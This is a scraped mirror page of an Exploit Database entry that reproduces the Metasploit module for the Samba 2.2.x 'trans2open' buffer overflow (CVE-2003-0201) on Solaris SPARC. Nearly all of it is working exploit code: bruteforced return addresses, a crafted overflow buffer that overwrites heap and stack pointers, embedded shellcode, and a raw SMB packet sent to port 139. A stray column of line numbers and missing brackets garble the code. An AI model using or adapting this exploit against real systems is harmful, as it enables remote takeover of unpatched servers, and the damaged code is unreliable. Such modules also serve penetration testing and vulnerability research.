Samba 2.2.8 (Solaris SPARC) – ‘trans2open’ Remote Overflow (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2010-06-21
类别：
- remote
平台：
- solaris_sparc
来源：https://www.exploit-db.com/exploits/16330/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

# $Id: trans2open.rb 9571 2010-06-21 16:53:52Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::SMB

include Msf::Exploit::Brute

def initialize(info = {})

super(update_info(info,

'Name' => 'Samba trans2open Overflow (Solaris SPARC)',

'Description'=> %q{

This exploits the buffer overflow found in Samba versions

2.2.0 to 2.2.8. This particular module is capable of

exploiting the flaw on Solaris SPARC systems that do not

have the noexec stack option set. Big thanks to MC and

valsmith for resolving a problem with the beta version of

this module.

'Author' => [ 'hdm', 'jduck' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9571 $',

'References' =>

[

[ 'CVE', '2003-0201' ],

[ 'OSVDB', '4469' ],

[ 'BID', '7294' ],

[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]

'Privileged' => true,

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'MinNops'=> 512,

'Platform' => 'solaris',

'Targets'=>

[

[ 'Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce',

{

'PtrToNonZero' => 0xffbffffc, # near the bottom of the stack

'Offset' => 1103,

'Bruteforce' =>

{

'Start' => { 'Ret' => 0xffbffaf0 },

'Stop'=> { 'Ret' => 0xffbfa000 },

'Step'=> 128

}

[ 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce',

{

'PtrToNonZero' => 0xffbefffc, # near the bottom of the stack

'Offset' => 1103,

'Bruteforce' =>

{

'Start' => { 'Ret' => 0xffbefaf0 },

'Stop'=> { 'Ret' => 0xffbea000 },

'Step'=> 128

}

]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Apr 7 2003'

))

register_options(

[

Opt::RPORT(139)

], self.class)

end

def brute_exploit(addrs)

curr_ret = addrs['Ret']

begin

print_status("Trying return address 0x%.8x..." %curr_ret)

connect

smb_login

# The obstacle course:

# outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);

# smb_dump(smb_fn_name(type), 0, outbuf, outsize);

# return(outsize);

# This value *must* be 1988 to allow findrecv shellcode to work

pattern = rand_text_english(1988)

# This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u

# Patch the overwritten heap pointers

# substr($pattern, 1159, 4, pack('N', $target->[4]));

# substr($pattern, 1163, 4, pack('N', $target->[4]));

# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0

# substr($pattern, 1195, 4, pack('N', 0xffffffff));

# Fix the frame pointer (need to check for null in address)

# substr($pattern, 1243, 4, pack('N', $target->[3]-64));

# Finally set the return address

# substr($pattern, 1247, 4, pack('N', $curr_ret));

# This method is more reliable against a wider range of targets

off = target['Offset']

ptr_to_non_zero = target['PtrToNonZero']

# Local variable pointer patches for early versions of 2.2.x

pattern[off, 36] = [ptr_to_non_zero - 1024].pack('N') * 9

off += 36

# Overwrite heap pointers with a ptr to NULL at the top of the stack

pattern[off, 40] = [ptr_to_non_zero - 1024].pack('N') * 10

off += 40

# Patch the type index into the smb_messages[] array...

# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0

pattern[off, 20] = [0xffffffff].pack('N') * 5

off += 20

# This stream covers the framepointer and the return address

pattern[off, 400] = [curr_ret].pack('N') * 100

# Stuff the shellcode into the request

pattern[3, payload.encoded.length] = payload.encoded

trans =

"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+

"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+

pattern

sock.put(trans)

handler

disconnect

rescue EOFError

rescue => e

print_error("#{e}")

end